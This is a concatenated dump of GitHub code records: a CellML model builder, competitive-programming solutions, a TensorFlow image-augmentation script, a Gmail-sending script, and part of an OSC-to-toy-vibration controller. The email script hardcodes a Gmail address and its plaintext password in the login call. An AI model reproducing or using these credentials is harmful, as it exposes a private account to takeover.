k_f=dict_kf[list(dict_kf.keys())[0]], k_r=dict_kr[list(dict_kr.keys())[0]])\n \n edge_list = list(G.edges(data=True))\n # Construct a 2D sympy matrix to store the product of the rate constants on the edges\n # the first dimension is the number of q_cd, the second dimension is the number of edges (reactions)\n k_mat = Matrix([[0 for i in range(len(edge_list))] for j in range(len(q_cd))])\n for j, edgej in enumerate (edge_list):\n G_copy = G.copy()\n G_copy.remove_edge(edgej[0],edgej[1]) # Partial diagram\n for i, q in enumerate (q_cd):\n item = []\n # Get the edge list that connects the node q in the reverse direction\n edge_list_q = list(nx.edge_dfs(G_copy,q,orientation='ignore'))\n edge_list_q_rev=[edge for edge in edge_list_q if edge[2]=='reverse']\n for edge in edge_list_q_rev:\n item.append(G_copy.get_edge_data(edge[0],edge[1])['k_f']) \n # Get the edge list that connects the node q in the forward direction\n edge_list_q_fwd = [edge for edge in edge_list_q if edge[2]=='forward']\n for edge in edge_list_q_fwd:\n item.append(G_copy.get_edge_data(edge[0],edge[1])['k_r'])\n # Get the product of all the k_f/k_r on the path reaching q\n k_mat[i,j] = prod(item)\n # Add the columns of the k_mat to get the steady state expression of q\n q_ss_E = Matrix([0 for i in range(len(q_cd))])\n for i in range(len(q_cd)):\n q_ss_E[i] = sum(k_mat[i,:])\n \n kf_all,kr_all = [],[]\n for j, edgej in enumerate (edge_list):\n kf_all.append(G.get_edge_data(edgej[0],edgej[1])['k_f'])\n kr_all.append(G.get_edge_data(edgej[0],edgej[1])['k_r'])\n\n vss_num = factor(E*(prod(kf_all)-prod(kr_all)))\n vss_den= sum(q_ss_E[:])\n return vss_num,vss_den\n\ndef build_ss_model(CompName,CompType,ReName,ReType,N_f,N_r,name_f,component_BG_param):\n model_ss = Model(name_f + '_ss')\n model_ss_param = Model(name_f + '_ss' + '_param')\n model_BG_ss = Model ( name_f + '_BG_ss' )\n model_ss_test = Model(name_f +'_ss'+ '_test')\n component_ss_test = Component(model_ss_test.name())\n component_ss_io = Component(model_ss.name() + '_io')\n model_ss_test.addComponent(component_ss_test)\n model_ss_test.addComponent(component_ss_io)\n model_BG_ss_test = Model( name_f+'_BG_ss' + '_test')\n component_BG_ss_test = Component(model_BG_ss_test.name())\n component_BG_ss_io = Component(model_BG_ss.name() + '_io')\n model_BG_ss_test.addComponent(component_BG_ss_test)\n model_BG_ss_test.addComponent(component_BG_ss_io)\n\n # get the steady state expressions\n vss_num,vss_den = flux_ss_diagram(CompName,CompType,ReName,ReType,N_f,N_r)\n v_ss_simplified, P, Q = simplify_flux_ss(vss_num,vss_den)\n # Build model_ss\n unitsSet = set()\n component_ss=Component(model_ss.name())\n vss_equation =[(ccode(v_ss_simplified),'v_ss','')]\n print('v_ss='+ccode(v_ss_simplified))\n P_equations=[]\n v_ss = Variable('v_ss')\n v_ss.setUnits(BG.v_Ch_1)\n v_ss.setInterfaceType(Variable.InterfaceType.PUBLIC)\n component_ss_test.addVariable(v_ss.clone())\n component_BG_ss_test.addVariable(v_ss.clone())\n component_ss_io.addVariable(v_ss.clone())\n component_BG_ss_io.addVariable(v_ss.clone())\n for param in P:\n var_param=Variable(param.name)\n unit_name = P[param][1]\n u=Units(unit_name)\n unitsSet.add(unit_name)\n var_param.setUnits(u)\n var_param.setInterfaceType(Variable.InterfaceType.PUBLIC)\n component_ss.addVariable(var_param)\n ode_var= param.name\n infix = ccode(P[param][0])\n print(ode_var+'='+infix)\n P_equations.append((infix,ode_var,''))\n \n component_BG_ss_param = component_ss.clone() # P is the simplified parameters\n component_BG_ss_param.setName(model_BG_ss.name())\n component_ss_param=component_ss.clone() # P,E are the simplified parameters, no v_ss or equations\n component_ss_param.setName(model_ss_param.name())\n qnames=[]\n \n def add_const_to_component(component):\n for const in BG.const:\n const_name = const\n var_const=Variable(const_name)\n unit_name = BG.const[const_name][1]\n u=Units(unit_name)\n var_const.setUnits(u)\n var_const.setInterfaceType(Variable.InterfaceType.PUBLIC)\n component.addVariable(var_const)\n\n def add_const_to_component_param(component_param):\n for const in BG.const:\n const_name = const\n var_const=Variable(const_name)\n unit_name = BG.const[const_name][1]\n u=Units(unit_name)\n var_const.setUnits(u)\n param_const = var_const.clone()\n param_const.setInitialValue(BG.const[const_name][0])\n param_const.setInterfaceType(Variable.InterfaceType.PUBLIC)\n component_param.addVariable(param_const)\n for q in Q:\n var_q=Variable(q.name)\n unit_name = Q[q][1]\n u=Units(unit_name)\n unitsSet.add(unit_name)\n var_q.setUnits(u)\n var_q.setInterfaceType(Variable.InterfaceType.PUBLIC)\n if q.name == 'E':\n var_E = var_q.clone()\n elif q.name == 'V_m':\n component_BG_ss_test.addVariable(var_q.clone())\n add_const_to_component(component_BG_ss_test)\n add_const_to_component(component_ss)\n component_BG_ss_io.addVariable(var_q.clone())\n component_BG_ss_io.variable(var_q.name()).setInitialValue(1)\n #add_const_to_component_param(component_BG_ss_io)\n component_ss_test.addVariable(var_q.clone())\n add_const_to_component(component_ss_test)\n component_ss_io.addVariable(var_q.clone())\n component_ss_io.variable(var_q.name()).setInitialValue(1)\n add_const_to_component_param(component_ss_io)\n else:\n qnames.append(q.name.split('_')[1])\n component_BG_ss_test.addVariable(var_q.clone())\n component_BG_ss_io.addVariable(var_q.clone())\n component_BG_ss_io.variable(var_q.name()).setInitialValue(1)\n component_ss_test.addVariable(var_q.clone())\n component_ss_io.addVariable(var_q.clone())\n component_ss_io.variable(var_q.name()).setInitialValue(1)\n component_ss.addVariable(var_q)\n\n component_ss_param.addVariable(var_E.clone()) # E \n \n for var_num in range(component_ss_param.variableCount()):\n component_ss_param.variable(var_num).setInitialValue(1)\n model_ss_param.addComponent(component_ss_param)\n\n component_ss.addVariable(v_ss) # v_ss is the simplified flux\n addEquations(component_ss, vss_equation)\n model_ss.addComponent(component_ss) \n \n E_qs=[]\n component_BG_ss_param.addVariable(var_E) # E\n for var_num in range(component_BG_param.variableCount()):\n var_clone = component_BG_param.variable(var_num).clone()\n var_clone.removeInitialValue()\n component_BG_ss_param.addVariable(var_clone)\n if component_BG_param.variable(var_num).name().startswith('q_') and (component_BG_param.variable(var_num).name().split('_')[1] not in qnames):\n E_qs.append(Symbol(component_BG_param.variable(var_num).name()))\n elif component_BG_param.variable(var_num).name().startswith('q_') and (component_BG_param.variable(var_num).name().split('_')[1] in qnames):\n component_BG_ss_param.removeVariable(var_clone) # remove q_int that are not in the enzyme cycle\n E_equation =[(str(sum(E_qs)),'E','')] # E = sum of all q_int in the enzyme cycle \n\n addEquations(component_BG_ss_param, P_equations + E_equation) \n model_BG_ss.addComponent(component_BG_ss_param)\n\n return model_ss, model_ss_param, model_BG_ss, model_ss_test, model_BG_ss_test, unitsSet \n\n# Add units to the existing units file if not already there\ndef updateUnitsFile(unitsSet, full_path, units_model):\n units_defined = set()\n for unit_numb in range(units_model.unitsCount()):\n units_defined.add(units_model.units(unit_numb).name()) \n units_undefined = unitsSet - units_defined\n for iunitsName in units_undefined:\n inunits=_defineUnits(iunitsName)\n units_model.addUnits(inunits) \n writeCellML(full_path, units_model)\n# Incomplete model with units import \ndef writeModelwithUnits(model_path, model,importSource_units,import_units_model):\n editModel_default(model_path,model,importSource_units,import_units_model)\n file_name = model.name() + '.cellml'\n full_path = str(PurePath(model_path).joinpath(file_name))\n writeCellML(full_path, model)\n\n# Complete model \ndef writeModel(model_path, model, importSource_units, import_units_model, importSources_comp,import_models, import_components_dicts,comp_pairs):\n editModel_default(model_path,model,importSource_units, import_units_model,importSources_comp, import_models,import_components_dicts,comp_pairs)\n file_name = model.name() + '.cellml'\n full_path = str(PurePath(model_path).joinpath(file_name))\n writeCellML_default(full_path, model)\n python_file_name = model.name() + '.py'\n python_file_path = str(PurePath(model_path).joinpath(python_file_name))\n writePythonCode(python_file_path, model)\n\ndef build_models ():\n model_BG, model_BG_param, model_BG_test, CompName,CompType,ReName,ReType,N_f,N_r, name_f,component_BG_param, model_path=read_csvBG()\n model_ss, model_ss_param, model_BG_ss, model_ss_test, model_BG_ss_test, unitsSet = build_ss_model(CompName,CompType,ReName,ReType,N_f,N_r,name_f,component_BG_param)\n units_full_path, units_model = parseCellML_UI()\n updateUnitsFile(unitsSet, units_full_path, units_model) \n \n simple_models = [model_BG,model_BG_param, model_ss, model_ss_param, model_BG_ss]\n for model in simple_models:\n importSource_units,import_units_model = import_setup(model_path,units_full_path)\n writeModelwithUnits(model_path, model,importSource_units,import_units_model)\n \n print('model_BG_test, import the model_BG and model_BG_param')\n importFiles = [model_BG.name()+ '.cellml', model_BG_param.name()+ '.cellml']\n importSources_comps, import_models,import_components_dicts = [], [],[]\n comp_pairs=[(model_BG.name(),model_BG_param.name()),(model_BG.name(),model_BG_test.name()),(model_BG_test.name(),model_BG.name()+'_io')]\n for importFile in importFiles:\n full_path = str(PurePath(model_path).joinpath(importFile))\n importSources_comp, import_model, import_components_dict=importComponents_default(model_path, full_path)\n importSources_comps.append(importSources_comp)\n import_models.append(import_model)\n import_components_dicts.append(import_components_dict)\n importSource_units,import_units_model = import_setup(model_path,units_full_path)\n writeModel(model_path, model_BG_test, importSource_units,import_units_model, importSources_comps, import_models, import_components_dicts,comp_pairs) \n\n print('model_ss_test, import the model_ss and model_ss_param')\n importFiles = [model_ss.name()+ '.cellml', model_ss_param.name()+ '.cellml']\n importSources_comps, import_models,import_components_dicts = [], [],[]\n comp_pairs=[(model_ss.name(),model_ss_param.name()),(model_ss.name(),model_ss_test.name()),(model_ss.name()+'_io',model_ss_test.name())]\n for importFile in importFiles:\n full_path = str(PurePath(model_path).joinpath(importFile))\n importSources_comp,import_model, import_components_dict=importComponents_default(model_path, full_path)\n importSources_comps.append(importSources_comp)\n import_models.append(import_model)\n import_components_dicts.append(import_components_dict)\n importSource_units,import_units_model = import_setup(model_path,units_full_path)\n writeModel(model_path, model_ss_test, importSource_units, import_units_model, importSources_comps, import_models, import_components_dicts,comp_pairs)\n print('model_ss_test_inOne, no import')\n model_ss_test1= Model(model_ss_test.name()+'_inOne')\n component_ss_test1 = model_ss_test.component(model_ss_test.name()).clone()\n component_ss_test1.removeAllComponents()\n component_ss_test1.setName(model_ss_test1.name())\n model_ss_test1.addComponent(component_ss_test1)\n component_ss1= model_ss.component(model_ss.name()).clone()\n model_ss_test1.addComponent(component_ss1)\n component_ss_param1 = model_ss_param.component(model_ss_param.name()).clone()\n model_ss_test1.addComponent(component_ss_param1)\n component_ss_io1 = model_ss_test.component(model_ss.name()+'_io').clone()\n model_ss_test1.addComponent(component_ss_io1)\n comp_pairs=[(model_ss.name(),model_ss_param.name()),(model_ss.name(),model_ss_test1.name()),(model_ss.name()+'_io',model_ss_test1.name())]\n importSources_comps, import_models, import_components_dicts = [], [],[]\n importSource_units,import_units_model = import_setup(model_path,units_full_path)\n writeModel(model_path, model_ss_test1, importSource_units, import_units_model, importSources_comps, import_models, import_components_dicts,comp_pairs)\n \n print('model_BG_ss_test, import the model_BG_param, model_BG_ss and model_ss')\n importFiles = [model_ss.name() + '.cellml', model_BG_param.name() + '.cellml', model_BG_ss.name() + '.cellml']\n importSources_comps, import_models,import_components_dicts = [], [],[]\n comp_pairs=[(model_ss.name(),model_BG_ss_test.name()),(model_BG_ss.name(),model_BG_param.name()),(model_ss.name(),model_BG_ss.name()),(model_ss.name(),model_BG_param.name()),(model_BG_ss.name()+'_io',model_BG_ss_test.name())]\n for importFile in importFiles:\n full_path = str(PurePath(model_path).joinpath(importFile))\n importSources_comp, import_model, import_components_dict=importComponents_default(model_path, full_path)\n importSources_comps.append(importSources_comp)\n import_models.append(import_model)\n import_components_dicts.append(import_components_dict)\n importSource_units,import_units_model = import_setup(model_path,units_full_path)\n writeModel(model_path, model_BG_ss_test, importSource_units,import_units_model, importSources_comps, import_models, import_components_dicts,comp_pairs)\n \n# main function\nif __name__ == \"__main__\":\n # Get the csv file from the user by opening a file dialog\n build_models ()\n\n\n\n\n\n","repo_name":"WeiweiAi/BG2CellML","sub_path":"src/BG2CellML.py","file_name":"BG2CellML.py","file_ext":"py","file_size_in_byte":41666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18545195038","text":"# https://www.acmicpc.net/problem/10971\n\nn = int(input())\ngraph = [list(map(int, input().split())) for _ in range(n)]\n\nmini = 10987654321\n\ndef dfs(visited, init, cur, depth, value):\n global mini\n\n if depth == n and graph[cur][init]:\n mini = min(mini, value+graph[cur][init])\n return\n\n for next in range(n):\n if not visited[next] and graph[cur][next] and next != init:\n visited[next] = True\n dfs(visited, init, next, depth+1, value+graph[cur][next])\n visited[next] = False\n\nfor start in range(n):\n visited = [False] * n\n dfs(visited, start, start, 1, 0)\n\nprint(mini)","repo_name":"study-room-for-dogyun/Baeckjoon","sub_path":"code.plus/기초 - 브루트포스/10971.py","file_name":"10971.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"14658432933","text":"import tensorflow as tf\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport matplotlib.gridspec as gridspec\nimport numpy as np\nimport os\nimport cv2\nfrom math import floor, ceil, pi\nfrom PIL import Image\nfrom random import shuffle\n\n# globals\nDIR = 'Data/neg_train'\nOUT_DIR = 'Data/neg_augmented'\nIMAGE_SIZE = 250\n\ndef convert_images_to_png():\n for filename in os.listdir(DIR):\n if filename.endswith(\".jpg\"):\n im = Image.open('{}/{}'.format(DIR, filename))\n im.save( os.path.splitext('{}/{}'.format(DIR, filename))[0] + '.png')\n\ndef get_image_paths():\n image_paths = ['{}/{}'.format(DIR, filename) for filename in os.listdir(DIR) if filename.endswith(\".png\")]\n return image_paths\n\ndef tf_resize_images(X_img_file_paths):\n X_data = []\n tf.reset_default_graph()\n X = tf.placeholder(tf.float32, (None, None, 3))\n tf_img = tf.image.resize_images(X, (IMAGE_SIZE, IMAGE_SIZE), tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n # Each image is resized individually as different image may be of different size.\n for index, file_path in enumerate(X_img_file_paths):\n img = mpimg.imread(file_path)[:, :, :3] # Do not read alpha channel.\n resized_img = sess.run(tf_img, feed_dict = {X: img})\n X_data.append(resized_img)\n\n X_data = np.array(X_data, dtype = np.float32) # Convert to numpy\n return X_data\n\ndef central_scale_images(X_imgs, scales):\n # Various settings needed for Tensorflow operation\n boxes = np.zeros((len(scales), 4), dtype = np.float32)\n for index, scale in enumerate(scales):\n x1 = y1 = 0.5 - 0.5 * scale # To scale centrally\n x2 = y2 = 0.5 + 0.5 * scale\n boxes[index] = np.array([y1, x1, y2, x2], dtype = np.float32)\n box_ind = np.zeros((len(scales)), dtype = np.int32)\n crop_size = np.array([IMAGE_SIZE, IMAGE_SIZE], dtype = np.int32)\n\n X_scale_data = []\n tf.reset_default_graph()\n X = tf.placeholder(tf.float32, shape = (1, IMAGE_SIZE, IMAGE_SIZE, 3))\n # Define Tensorflow operation for all scales but only one base image at a time\n tf_img = tf.image.crop_and_resize(X, boxes, box_ind, crop_size)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n for img_data in X_imgs:\n batch_img = np.expand_dims(img_data, axis = 0)\n scaled_imgs = sess.run(tf_img, feed_dict = {X: batch_img})\n X_scale_data.extend(scaled_imgs)\n\n X_scale_data = np.array(X_scale_data, dtype = np.float32)\n return X_scale_data\n\ndef get_translate_parameters(index):\n if index == 0: # Translate left 20 percent\n offset = np.array([0.0, 0.2], dtype = np.float32)\n size = np.array([IMAGE_SIZE, ceil(0.8 * IMAGE_SIZE)], dtype = np.int32)\n w_start = 0\n w_end = int(ceil(0.8 * IMAGE_SIZE))\n h_start = 0\n h_end = IMAGE_SIZE\n elif index == 1: # Translate right 20 percent\n offset = np.array([0.0, -0.2], dtype = np.float32)\n size = np.array([IMAGE_SIZE, ceil(0.8 * IMAGE_SIZE)], dtype = np.int32)\n w_start = int(floor((1 - 0.8) * IMAGE_SIZE))\n w_end = IMAGE_SIZE\n h_start = 0\n h_end = IMAGE_SIZE\n elif index == 2: # Translate top 20 percent\n offset = np.array([0.2, 0.0], dtype = np.float32)\n size = np.array([ceil(0.8 * IMAGE_SIZE), IMAGE_SIZE], dtype = np.int32)\n w_start = 0\n w_end = IMAGE_SIZE\n h_start = 0\n h_end = int(ceil(0.8 * IMAGE_SIZE))\n else: # Translate bottom 20 percent\n offset = np.array([-0.2, 0.0], dtype = np.float32)\n size = np.array([ceil(0.8 * IMAGE_SIZE), IMAGE_SIZE], dtype = np.int32)\n w_start = 0\n w_end = IMAGE_SIZE\n h_start = int(floor((1 - 0.8) * IMAGE_SIZE))\n h_end = IMAGE_SIZE\n\n return offset, size, w_start, w_end, h_start, h_end\n\ndef translate_images(X_imgs):\n offsets = np.zeros((len(X_imgs), 2), dtype = np.float32)\n n_translations = 4\n X_translated_arr = []\n\n tf.reset_default_graph()\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(n_translations):\n X_translated = np.zeros((len(X_imgs), IMAGE_SIZE, IMAGE_SIZE, 3), dtype = np.float32)\n X_translated.fill(1.0) # Filling background color\n base_offset, size, w_start, w_end, h_start, h_end = get_translate_parameters(i)\n offsets[:, :] = base_offset\n glimpses = tf.image.extract_glimpse(X_imgs, size, offsets)\n\n glimpses = sess.run(glimpses)\n X_translated[:, h_start: h_start + size[0], w_start: w_start + size[1], :] = glimpses\n X_translated_arr.extend(X_translated)\n X_translated_arr = np.array(X_translated_arr, dtype = np.float32)\n return X_translated_arr\n\ndef rotate_images(X_imgs):\n X_rotate = []\n tf.reset_default_graph()\n X = tf.placeholder(tf.float32, shape = (IMAGE_SIZE, IMAGE_SIZE, 3))\n k = tf.placeholder(tf.int32)\n tf_img = tf.image.rot90(X, k = k)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for img in X_imgs:\n for i in range(3): # Rotation at 90, 180 and 270 degrees\n rotated_img = sess.run(tf_img, feed_dict = {X: img, k: i + 1})\n X_rotate.append(rotated_img)\n\n X_rotate = np.array(X_rotate, dtype = np.float32)\n return X_rotate\n\ndef flip_images(X_imgs):\n X_flip = []\n tf.reset_default_graph()\n X = tf.placeholder(tf.float32, shape = (IMAGE_SIZE, IMAGE_SIZE, 3))\n tf_img1 = tf.image.flip_left_right(X)\n tf_img2 = tf.image.flip_up_down(X)\n tf_img3 = tf.image.transpose_image(X)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for img in X_imgs:\n flipped_imgs = sess.run([tf_img1, tf_img2, tf_img3], feed_dict = {X: img})\n X_flip.extend(flipped_imgs)\n X_flip = np.array(X_flip, dtype = np.float32)\n return X_flip\n\ndef add_salt_pepper_noise_wrapper(X_imgs, samples = 1):\n lst = []\n for i in range(samples):\n mod_imgs = add_salt_pepper_noise(X_imgs)\n lst.extend(mod_imgs)\n return lst\n\ndef add_salt_pepper_noise(X_imgs):\n # Need to produce a copy as to not modify the original image\n X_imgs_copy = X_imgs.copy()\n row, col, _ = X_imgs_copy[0].shape\n salt_vs_pepper = 0.2\n amount = 0.004\n num_salt = np.ceil(amount * X_imgs_copy[0].size * salt_vs_pepper)\n num_pepper = np.ceil(amount * X_imgs_copy[0].size * (1.0 - salt_vs_pepper))\n\n for X_img in X_imgs_copy:\n # Add Salt noise\n coords = [np.random.randint(0, i - 1, int(num_salt)) for i in X_img.shape]\n X_img[coords[0], coords[1], :] = 1\n\n # Add Pepper noise\n coords = [np.random.randint(0, i - 1, int(num_pepper)) for i in X_img.shape]\n X_img[coords[0], coords[1], :] = 0\n return X_imgs_copy\n\n\ndef add_gaussian_noise_wrapper(X_imgs, samples = 1):\n lst = []\n for i in range(samples):\n mod_imgs = add_gaussian_noise(X_imgs)\n lst.extend(mod_imgs)\n return lst\n\ndef add_gaussian_noise(X_imgs):\n gaussian_noise_imgs = []\n row, col, _ = X_imgs[0].shape\n # Gaussian distribution parameters\n mean = 0\n var = 0.1\n sigma = var ** 0.5\n\n for X_img in X_imgs:\n gaussian = np.random.random((row, col, 1)).astype(np.float32)\n gaussian = np.concatenate((gaussian, gaussian, gaussian), axis = 2)\n gaussian_img = cv2.addWeighted(X_img, 0.75, 0.25 * gaussian, 0.25, 0)\n gaussian_noise_imgs.append(gaussian_img)\n gaussian_noise_imgs = np.array(gaussian_noise_imgs, dtype = np.float32)\n return gaussian_noise_imgs\n\ndef save_images(imgs):\n for i, matrix in enumerate(imgs):\n matrix = matrix*255 # scale it from 0-1 to 0-255\n RGB_img = cv2.cvtColor(matrix, cv2.COLOR_BGR2RGB)\n cv2.imwrite(OUT_DIR + \"/\" + \"agumented\" + str(i) + \".png\", RGB_img)\n\ndef example():\n #convert_images_to_png()\n X_img_paths = get_image_paths()\n X_imgs = tf_resize_images(X_img_paths)\n\n scaled_imgs = central_scale_images(X_imgs, [0.90, 0.75, 0.60])\n translated_imgs = translate_images(X_imgs)\n rotated_imgs = rotate_images(X_imgs)\n flipped_imgs = flip_images(X_imgs)\n salt_pepper_noise_imgs = add_salt_pepper_noise_wrapper(X_imgs, samples = 5)\n gaussian_noise_imgs = add_gaussian_noise_wrapper(X_imgs, samples = 3)\n\n # reshape them cuz numpy thinks they aren't in this size\n scaled_imgs = np.reshape(scaled_imgs, (-1, 244, 244, 3))\n translated_imgs = np.reshape(translated_imgs, (-1, 244, 244, 3))\n rotated_imgs = np.reshape(rotated_imgs, (-1, 244, 244, 3))\n flipped_imgs = np.reshape(flipped_imgs, (-1, 244, 244, 3))\n salt_pepper_noise_imgs = np.reshape(salt_pepper_noise_imgs, (-1, 244, 244, 3))\n gaussian_noise_imgs = np.reshape(gaussian_noise_imgs, (-1, 244, 244, 3))\n\n # total = 15 * len(DIR)\n total_imgs = np.concatenate( (scaled_imgs, translated_imgs, rotated_imgs, flipped_imgs, salt_pepper_noise_imgs, gaussian_noise_imgs), axis = 0)\n\n save_images(total_imgs)\n print(total_imgs.shape)\n\ndef pos():\n X_img_paths = get_image_paths()\n X_imgs = tf_resize_images(X_img_paths)\n\n # augmentations\n scaled_imgs = central_scale_images(X_imgs, [0.90, 0.80]) # +2\n translated_imgs = translate_images(X_imgs) # +4\n rotated_imgs = rotate_images(X_imgs) # +3\n flipped_imgs = flip_images(X_imgs) # +3\n salt_pepper_noise_imgs = add_salt_pepper_noise_wrapper(X_imgs, samples = 3) # +3\n gaussian_noise_imgs = add_gaussian_noise_wrapper(X_imgs, samples = 3) # +3\n\n\n # reshape them cuz numpy thinks they aren't in this size\n scaled_imgs = np.reshape(scaled_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n translated_imgs = np.reshape(translated_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n rotated_imgs = np.reshape(rotated_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n flipped_imgs = np.reshape(flipped_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n salt_pepper_noise_imgs = np.reshape(salt_pepper_noise_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n gaussian_noise_imgs = np.reshape(gaussian_noise_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n\n # total = 18 * len(DIR)\n total_imgs = np.concatenate( (scaled_imgs, translated_imgs, rotated_imgs, flipped_imgs, salt_pepper_noise_imgs, gaussian_noise_imgs), axis = 0)\n\n save_images(total_imgs)\n print(total_imgs.shape)\n\ndef main():\n X_img_paths = get_image_paths()\n X_imgs = tf_resize_images(X_img_paths)\n\n shuffle(X_imgs)\n\n # augmentations\n translated_imgs = translate_images(X_imgs[:1000]) # +4\n salt_pepper_noise_imgs = add_salt_pepper_noise_wrapper(X_imgs[1000:2000], samples = 3) # +3\n\n print(len(translated_imgs))\n print(len(salt_pepper_noise_imgs))\n\n translated_imgs = np.reshape(translated_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n salt_pepper_noise_imgs = np.reshape(salt_pepper_noise_imgs, (-1, IMAGE_SIZE, IMAGE_SIZE, 3))\n\n print(translated_imgs.shape)\n print(salt_pepper_noise_imgs.shape)\n\n # total = 5 * len(DIR)\n total_imgs = np.concatenate( (translated_imgs, salt_pepper_noise_imgs), axis = 0)\n\n save_images(total_imgs)\n print(total_imgs.shape)\n\nmain()\n","repo_name":"kalyan19/Machine-Learning","sub_path":"Face Detection/image_augmentation.py","file_name":"image_augmentation.py","file_ext":"py","file_size_in_byte":11286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1218221940","text":"import sys\r\nfrom itertools import combinations\r\n\r\n\r\ndef A():\r\n x, y = map(int, sys.stdin.readline().split())\r\n print(max(x, y))\r\n\r\n\r\ndef B():\r\n vowels = set(\"aeiou\")\r\n s = sys.stdin.readline().rstrip()\r\n t = \"\"\r\n for c in s:\r\n if c in vowels:\r\n continue\r\n t += c\r\n print(t)\r\n\r\n\r\ndef C():\r\n (*coords,) = map(int, sys.stdin.readline().split())\r\n\r\n def triangle_area(x0, y0, x1, y1, x2, y2):\r\n x1 -= x0\r\n x2 -= x0\r\n y1 -= y0\r\n y2 -= y0\r\n return abs(x1 * y2 - x2 * y1) / 2\r\n\r\n print(triangle_area(*coords))\r\n\r\n\r\ndef D():\r\n n, m = map(int, sys.stdin.readline().split())\r\n edges = set()\r\n for _ in range(m):\r\n x, y = map(int, sys.stdin.readline().split())\r\n x -= 1\r\n y -= 1\r\n edges.add((x, y))\r\n\r\n cand = []\r\n for i in range(1, 1 << n):\r\n s = [j for j in range(n) if i >> j & 1]\r\n for x, y in combinations(s, 2):\r\n if (x, y) not in edges:\r\n break\r\n else:\r\n cand.append(len(s))\r\n\r\n print(max(cand))\r\n pass\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # A()\r\n # B()\r\n # C()\r\n D()\r\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc002/abc002_4/15202872.py","file_name":"15202872.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"25097112438","text":"import smtplib as s\r\nob=s.SMTP(\"smtp.gmail.com\",587)\r\nob.starttls()\r\nob.login(\"lakshitkhandelwal91@gmail.com\",\"khandelwal2000\")\r\nsubject=\"sending email using python\"\r\nbody=\"Hi , My name is lakshit and this is a email sending program using python \"\r\nmessage=\"Subject:{}\\n\\n{}\".format(subject,body)\r\n# print(message)\r\nlistofaddress=[\"........\"]\r\n\r\nob.sendmail(\"lakshitkhandelwal91\",listofaddress,message)\r\nprint(\"send successfully......\")\r\nob.quit()\r\n","repo_name":"lakshit-khandelwal/sending-email-using-python","sub_path":"sending mail using python.py","file_name":"sending mail using python.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17307881111","text":"from buttplug.client import (ButtplugClientWebsocketConnector, ButtplugClient,\r\n ButtplugClientDevice, ButtplugClientConnectorError)\r\nfrom pythonosc.osc_server import AsyncIOOSCUDPServer\r\nfrom pythonosc.dispatcher import Dispatcher\r\nimport asyncio\r\nimport argparse\r\nimport os\r\nimport datetime\r\n\r\n\r\n# Dictionary to store devices, key is device name and value is the device object\r\ndevices = {}\r\ndef translate(value, leftMin, leftMax, rightMin, rightMax):\r\n # Figure out how 'wide' each range is\r\n leftSpan = leftMax - leftMin\r\n rightSpan = rightMax - rightMin\r\n\r\n # Convert the left range into a 0-1 range (float)\r\n valueScaled = float(value - leftMin) / float(leftSpan)\r\n\r\n # Convert the 0-1 range into a value in the right range.\r\n return rightMin + (valueScaled * rightSpan)\r\n\r\ndef handle_vibrate_speed(address, speed):\r\n param = address.split(\"/\")[-1]\r\n device_name = param.split(\"_\")\r\n del device_name[0:2]\r\n device_name = ' '.join(device_name)\r\n \r\n for toy in devices.values():\r\n if toy[2] == device_name:\r\n dev = toy[1]\r\n limit = toy[3]\r\n if \"VibrateCmd\" in dev.allowed_messages.keys():\r\n safeSpeed = translate(speed,0,1,0,limit)\r\n tmmLog(f'Setting speed for {x[2]} to: {safeSpeed}')\r\n asyncio.create_task(dev.send_vibrate_cmd(safeSpeed))\r\n elif device_name.lower() == 'all':\r\n for x in devices.values():\r\n dev = x[1]\r\n limit = x[3]\r\n if \"VibrateCmd\" in dev.allowed_messages.keys():\r\n safeSpeed = translate(speed,0,1,0,limit)\r\n tmmLog(f'Setting speed for {x[2]} to: {safeSpeed}')\r\n asyncio.create_task(dev.send_vibrate_cmd(safeSpeed))\r\n\r\ndef handle_limit(address, limit):\r\n \r\n param = address.split(\"/\")[-1]\r\n device_name = param.split(\"_\")\r\n del device_name[0:2]\r\n device_name = ' '.join(device_name)\r\n \r\n for toy in devices.values():\r\n if toy[2] == device_name:\r\n devices[toy[0]][3] = float(limit)\r\n tmmLog(f'Limits for {toy[2]} set to: {round(limit*100)}%')\r\n elif device_name.lower() == 'all':\r\n for toy in devices.values():\r\n devices[toy[0]][3] = float(limit)\r\n\r\n tmmLog(f'Limits for all toys set to: {round(limit*100)}%')\r\n\r\ndef all_messages(address, value):\r\n tmmLog(f'Address: {address} | Value: {value}')\r\ndispatcher = Dispatcher()\r\ndispatcher.map(\"/avatar/parameters/*_Vibrate_*\", handle_vibrate_speed)\r\ndispatcher.map(\"/avatar/parameters/*_Limit_*\", handle_limit)\r\n#dispatcher.map(\"/avatar/parameters/TMM_Bat_*\", all_messages)\r\nip = \"127.0.0.1\"\r\nport = 9001\r\n\r\nserver = AsyncIOOSCUDPServer((ip, port), dispatcher, asyncio.get_event_loop())\r\n\r\n\r\n\r\ndef device_added(emitter, dev: 